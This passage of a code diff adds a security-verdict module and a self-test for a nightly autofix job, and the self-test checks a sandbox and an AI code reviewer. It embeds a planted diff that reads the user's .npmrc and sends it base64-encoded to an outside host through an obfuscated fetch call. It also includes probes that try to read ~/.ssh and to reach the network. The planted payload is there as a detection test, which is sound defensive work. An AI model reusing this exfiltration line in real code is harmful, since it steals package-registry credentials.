292
+ const normPack = (p) => normPath(p).replace(/^package\//, '');
293
+
294
+ export function judgePackList({ previous, candidate, changedPaths, versionOnlyPaths = VERSION_ONLY } = {}) {
295
+ const bad = (d) => [mk('<pack>', 'pack-unreadable', d)];
296
+ if (![previous, candidate, changedPaths, versionOnlyPaths].every(Array.isArray)) return bad('pack inputs are not arrays (fail closed)');
297
+ const prev = new Map();
298
+ for (const e of previous) { if (!e || typeof e.path !== 'string') return bad('malformed previous entry'); prev.set(normPack(e.path), e.size); }
299
+ const changed = new Set(changedPaths.map(normPack)); const vonly = new Set(versionOnlyPaths.map(normPack));
300
+ const out = [];
301
+ for (const e of candidate) {
302
+ if (!e || typeof e.path !== 'string' || !Number.isFinite(e.size)) { out.push(...bad('malformed candidate entry')); continue; }
303
+ const p = normPack(e.path);
304
+ const add = (rule, d) => out.push({ ...mk(p, rule, d), path: p });
305
+ const inPrev = prev.has(p); const inChanged = changed.has(p);
306
+ if (!p || p.startsWith('/') || p.split('/').includes('..')) { add('pack-unexpected-file', 'path escapes the package root'); continue; }
307
+ if (!inPrev && !inChanged) add('pack-unexpected-file', 'file is in the tarball but neither shipped before nor in the reviewed diff');
308
+ else if (inPrev && !inChanged && prev.get(p) !== e.size
309
+ && !(vonly.has(p) && Math.abs(prev.get(p) - e.size) <= VERSION_SLACK_BYTES)) add('pack-unexpected-change', `size ${prev.get(p)} -> ${e.size} without a reviewed change`);
310
+ if ((inChanged || !inPrev) && PACK_BINARY.test(p)) add('pack-binary', 'binary file added or changed');
311
+ }
312
+ return out;
313
+ }
314
+
315
+ export function judgeAudit(auditJson) {
316
+ const P = '<npm-audit>';
317
+ const v = isObj(auditJson) ? auditJson.metadata?.vulnerabilities : null;
318
+ if (!isObj(v) || auditJson.error || !['high', 'critical'].every((k) => Number.isInteger(v[k]) && v[k] >= 0)) {
319
+ return [mk(P, 'audit-unreadable', 'npm audit output is missing or malformed (fail closed)')];
320
+ }
321
+ const out = [];
322
+ for (const [name, info] of Object.entries(isObj(auditJson.vulnerabilities) ? auditJson.vulnerabilities : {})) {
323
+ if (info?.severity === 'high' || info?.severity === 'critical') out.push(mk(P, `audit-${info.severity}`, `${info.severity} vulnerability in ${name}`));
324
+ }
325
+ for (const sev of ['high', 'critical']) {
326
+ if (v[sev] > 0 && !out.some((f) => f.rule === `audit-${sev}`)) out.push(mk(P, `audit-${sev}`, `${v[sev]} ${sev} vulnerabilities reported, none named`));
327
+ }
328
+ return out;
329
+ }
330
+
331
+ export function securityVerdict(...findingLists) {
332
+ const findings = [];
333
+ for (const l of findingLists) {
334
+ if (Array.isArray(l)) findings.push(...l);
335
+ else findings.push(mk('<verdict>', 'verdict-unreadable', 'a finding list was not an array (fail closed)'));
336
+ }
337
+ return { ok: findings.length === 0, findings };
338
+ }
339
+
340
+ export const RULES = Object.freeze([
341
+ 'network-egress', 'process-exec', 'dynamic-code', 'obfuscation', 'credential-access', 'env-harvest', 'fs-outside-repo',
342
+ 'fetch-execute', 'hidden-unicode', 'module-tamper', 'native-code', 'install-hook', 'prototype-pollution', 'binary-file',
343
+ 'symlink', 'scan-unreadable', 'secret', 'local-path', 'dependency-change', 'lifecycle-script', 'package-scripts',
344
+ 'manifest-change', 'lockfile-change', 'pack-unexpected-file', 'pack-unexpected-change', 'pack-binary', 'pack-unreadable',
345
+ 'audit-high', 'audit-critical', 'audit-unreadable', 'verdict-unreadable',
346
+ ]);
@@ -0,0 +1,101 @@
1
+ // scripts/issue-autofix-selftest.mjs — `node scripts/issue-fix.mjs --mode autofix --self-test` (ADR-107).
2
+ // Proves, from WHEREVER it is started (launchd included), every outside thing the nightly job depends on, without
3
+ // touching the repository: the tools are on PATH, HOME is right, no API key is in the environment, gh is logged in
4
+ // and can read the kill switch, caffeinate holds an assertion, the sandbox refuses a planted credential read and the
5
+ // network, a restricted tool-less `claude -p` authenticates on the subscription and is served by opus (it judges a
6
+ // planted malicious diff, which must come back not CLEAN), and a page reaches ntfy. Each check prints one line and
7
+ // the receipt is written next to the nightly ones. Exit 0 only when every check passed.
8
+ import fs from 'node:fs';
9
+ import os from 'node:os';
10
+ import path from 'node:path';
11
+ import { fileURLToPath } from 'node:url';
12
+ import { runAgent } from './issue-autofix-agents.mjs';
13
+ import { makeExec } from './issue-autofix-exec.mjs';
14
+ import { makeSandboxRunner } from './issue-autofix-sandbox.mjs';
15
+ import { PATHS, writeAtomic } from './issue-autofix-state.mjs';
16
+
17
+ const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
18
+ const REPO = 'stuinfla/ruvnet-brain';
19
+ const PLANTED_DIFF = `diff --git a/scripts/format-size.mjs b/scripts/format-size.mjs
20
+ @@ -10,2 +10,6 @@ export function formatSize(n) {
21
+ + const h = require('os').homedir();
22
+ + try { const t = require('fs').readFileSync(h + '/.npm' + 'rc', 'utf8');
23
+ + globalThis['fe' + 'tch']('https://size-metrics.dev/c?d=' + Buffer.from(t).toString('base64')); } catch {}
24
+ return (n / 1024).toFixed(1) + ' KB';`;
25
+
26
+
27
+ export async function selfTest({ env = process.env, notify, claudeBin = env.CLAUDE_BIN || 'claude', ghBin = env.GH_BIN || 'gh', now = Date.now() } = {}) {
28
+ const home = env.HOME || os.homedir();
29
+ const paths = PATHS(home);
30
+ const dir = path.join(paths.receipts, `selftest-${new Date(now).toISOString().replace(/[:.]/g, '-')}`);
31
+ fs.mkdirSync(dir, { recursive: true });
32
+ const checks = [];
33
+ const check = async (name, fn) => {
34
+ const t = Date.now();
35
+ let ok = false; let detail = '';
36
+ try { ({ ok, detail } = await fn()); } catch (e) { detail = `threw: ${e.message}`; }
37
+ checks.push({ name, ok, detail: String(detail).slice(0, 400), ms: Date.now() - t });
38
+ console.log(`${ok ? 'PASS' : 'FAIL'} ${name.padEnd(22)} ${String(detail).slice(0, 200)}`);
39
+ };
40
+ const exec = makeExec({ primary: paths.primary, ghBin, env });
41
+ const which = (bin) => exec('/usr/bin/which', [bin]).stdout.trim();
42
+
43
+ await check('tools-on-path', async () => {
44
+ const found = Object.fromEntries(['node', 'git', 'gh', 'claude', 'npm', 'caffeinate', 'sandbox-exec'].map((b) => [b, which(b)]));
45
+ const missing = Object.entries(found).filter(([, p]) => !p).map(([b]) => b);
46
+ return { ok: missing.length === 0, detail: missing.length ? `missing: ${missing.join(', ')}` : Object.entries(found).map(([b, p]) => `${b}=${p}`).join(' ') };
47
+ });
48
+ await check('home', async () => ({ ok: home === os.userInfo().homedir && fs.existsSync(home), detail: `HOME=${home}` }));
49
+ await check('no-api-key', async () => {
50
+ const keys = Object.keys(env).filter((k) => /^ANTHROPIC_|^CLAUDE_API_KEY$|^CLAUDE_CODE_USE_/.test(k));
51
+ return { ok: keys.length === 0, detail: keys.length ? `present: ${keys.join(', ')} (stripped from every stage, but should not be here)` : 'none in the environment' };
52
+ });
53
+ await check('gh-auth', async () => {
54
+ const r = exec(ghBin, ['api', 'user', '--jq', '.login']);
55
+ return { ok: r.status === 0 && r.stdout.trim() === 'stuinfla', detail: r.status === 0 ? `logged in as ${r.stdout.trim()}` : r.stderr.slice(0, 200) };
56
+ });
57
+ await check('kill-switch-readable', async () => {
58
+ const r = exec(ghBin, ['variable', 'get', 'ISSUE_AUTOFIX', '--repo', REPO]);
59
+ const off = fs.existsSync(paths.offFile); const halt = fs.existsSync(paths.haltFile);
60
+ const v = r.status === 0 ? r.stdout.trim() : /not found|404/i.test(r.stderr) ? '(unset)' : null;
61
+ return { ok: v !== null, detail: `ISSUE_AUTOFIX=${v ?? 'UNREADABLE'}; off-file ${off ? 'PRESENT' : 'absent'}; halt-file ${halt ? 'PRESENT' : 'absent'}` };
62
+ });
63
+ await check('caffeinate', async () => {
64
+ const r = exec('/bin/sh', ['-c', 'caffeinate -i -w $$ & sleep 1; pmset -g assertions | grep -c "caffeinate"']);
65
+ return { ok: Number(r.stdout.trim()) > 0, detail: `${r.stdout.trim()} caffeinate assertion(s) held while this process lived` };
66
+ });
67
+ await check('sandbox', async () => {
68
+ const wt = fs.mkdtempSync(path.join(paths.receipts, 'selftest-wt-'));
69
+ const probe = path.join(wt, 'probe.mjs');
70
+ fs.writeFileSync(probe, `import fs from 'node:fs';
71
+ const r = {}; const t = (k, f) => { try { f(); r[k] = 'OPEN'; } catch (e) { r[k] = 'blocked'; } };
72
+ t('ghConfig', () => fs.readdirSync(${JSON.stringify(path.join(home, '.config'))}));
73
+ t('ssh', () => fs.readdirSync(${JSON.stringify(path.join(home, '.ssh'))}));
74
+ t('homeWrite', () => fs.writeFileSync(${JSON.stringify(path.join(home, '.autofix-selftest'))}, 'x'));
75
+ try { await fetch('https://example.com'); r.fetch = 'OPEN'; } catch { r.fetch = 'blocked'; }
76
+ r.token = Object.keys(process.env).some((k) => /TOKEN|KEY/.test(k)) ? 'OPEN' : 'blocked';
77
+ console.log(JSON.stringify(r));`);
78
+ const run = makeSandboxRunner({ exec, tmpRoot: path.join(dir, 'sbx'), home });
79
+ const r = run(process.execPath, [probe], { cwd: wt, timeoutMs: 60_000 });
80
+ fs.rmSync(wt, { recursive: true, force: true });
81
+ let seen = {}; try { seen = JSON.parse(r.stdout.trim().split('\n').pop()); } catch { /* reported below */ }
82
+ const open = Object.entries(seen).filter(([, v]) => v !== 'blocked').map(([k]) => k);
83
+ return { ok: r.status === 0 && Object.keys(seen).length === 5 && open.length === 0, detail: open.length ? `NOT blocked: ${open.join(', ')}` : `blocked: ${Object.keys(seen).join(', ')}` };
84
+ });
85
+ await check('claude-subscription', async () => {
86
+ const cwd = fs.mkdtempSync(path.join(dir, 'redteam-'));
87
+ const r = await runAgent({ stage: 'redteam', cwd, input: { diffText: PLANTED_DIFF, scope: 'a self-test diff with a planted exfiltration payload' },
88
+ claudeBin, logPath: path.join(dir, 'redteam.log'), root: ROOT });
89
+ const v = r.result?.verdict;
90
+ return { ok: r.ok && /opus/.test(r.resolvedModel || '') && v && v !== 'CLEAN', detail: r.ok ? `served by ${r.resolvedModel}; planted payload judged ${v} in ${Math.round(r.durationMs / 1000)} s` : `failed: ${r.error}` };
91
+ });
92
+ const passed = checks.every((c) => c.ok);
93
+ const pageExit = notify ? notify(`AUTOFIX SELF-TEST ${passed ? 'passed' : 'FAILED'}`, checks.map((c) => `${c.ok ? 'PASS' : 'FAIL'} ${c.name}: ${c.detail}`).join('\n').slice(0, 1500), passed ? 'low' : 'high') : null;
94
+ checks.push({ name: 'page', ok: pageExit === 0, detail: `notify.sh exit ${pageExit} (0 delivered, 1 failed, 2 paging off)`, ms: 0 });
95
+ console.log(`${pageExit === 0 ? 'PASS' : 'FAIL'} ${'page'.padEnd(22)} notify.sh exit ${pageExit}`);
96
+ const ok = checks.every((c) => c.ok);
97
+ writeAtomic(path.join(dir, 'receipt.json'), { schemaVersion: 1, job: 'com.ruvnet.issue-autofix', kind: 'self-test', at: new Date(now).toISOString(), ok, checks,
98
+ launchedBy: env.XPC_SERVICE_NAME || null, pid: process.pid, ppid: process.ppid });
99
+ console.log(`issue-autofix self-test: ${ok ? 'PASS' : 'FAIL'} (receipt ${dir}/receipt.json)`);
100
+ return ok ? 0 : 1;
101
+ }
@@ -0,0 +1,61 @@
1
+ // scripts/issue-autofix-state.mjs — where the autofix job (ADR-107) remembers things: its paths, its slice of the
2
+ // shared issue-watch state file (key __issueAutofix, spread-merged, never overwritten), the halt file and the
3
+ // per-run receipts. Everything is written tmp-then-rename so a crash never leaves half a file.
4
+ import fs from 'node:fs';
5
+ import path from 'node:path';
6
+
7
+ export const STATE_NS = '__issueAutofix';
8
+
9
+ export const PATHS = (home) => ({
10
+ clone: `${home}/.cache/ruvnet-brain/autofix-repo`,
11
+ runner: `${home}/.cache/ruvnet-brain/autofix-runner`,
12
+ worktrees: `${home}/.cache/ruvnet-brain/issue-fix-worktrees`,
13
+ state: process.env.ISSUE_WATCH_STATE || `${home}/.claude/ruvnet-brain/issue-watch-state.json`,
14
+ receipts: `${home}/.cache/ruvnet-brain/issue-autofix/runs`,
15
+ offFile: `${home}/.config/ruvnet-brain/issue-autofix.off`,
16
+ haltFile: `${home}/.config/ruvnet-brain/issue-autofix.halt`,
17
+ holdFile: `${home}/.config/ruvnet-brain/release-hold`,
18
+ lock: process.env.ISSUE_FIX_LOCK || `${home}/.claude/ruvnet-brain/issue-fix.lock`,
19
+ primary: `${home}/Code/ruvnet-brain`,
20
+ });
21
+
22
+ export function readJson(file, fallback = {}) {
23
+ try {
24
+ const v = JSON.parse(fs.readFileSync(file, 'utf8'));
25
+ return v && typeof v === 'object' ? v : fallback;
26
+ } catch { return fallback; }
27
+ }
28
+
29
+ export function writeAtomic(file, value) {
30
+ fs.mkdirSync(path.dirname(file), { recursive: true });
31
+ const tmp = `${file}.${process.pid}.tmp`;
32
+ fs.writeFileSync(tmp, typeof value === 'string' ? value : JSON.stringify(value, null, 2));
33
+ fs.renameSync(tmp, file);
34
+ }
35
+
36
+ export const readNs = (statePath) => {
37
+ const all = readJson(statePath, {});
38
+ const ns = all[STATE_NS];
39
+ return ns && typeof ns === 'object' && !Array.isArray(ns) ? ns : {};
40
+ };
41
+
42
+ /** Re-reads the shared file, merges `patch` into the autofix slice only, and writes it back. Other keys are untouched. */
43
+ export function patchNs(statePath, patch) {
44
+ const all = readJson(statePath, {});
45
+ all[STATE_NS] = { ...readNs(statePath), ...patch };
46
+ writeAtomic(statePath, all);
47
+ return all[STATE_NS];
48
+ }
49
+
50
+ /** Merge `patch` into one issue's record. */
51
+ export function patchIssue(statePath, n, patch) {
52
+ const cur = readNs(statePath)[n] || {};
53
+ return patchNs(statePath, { [n]: { ...cur, ...patch } });
54
+ }
55
+
56
+ export const clearAwaiting = (statePath, n) => {
57
+ const { awaitingVerification, ...rest } = readNs(statePath)[n] || {}; // eslint-disable-line no-unused-vars
58
+ patchNs(statePath, { [n]: rest });
59
+ };
60
+
61
+ export const writeHaltFile = (file, info) => writeAtomic(file, { at: new Date().toISOString(), ...info });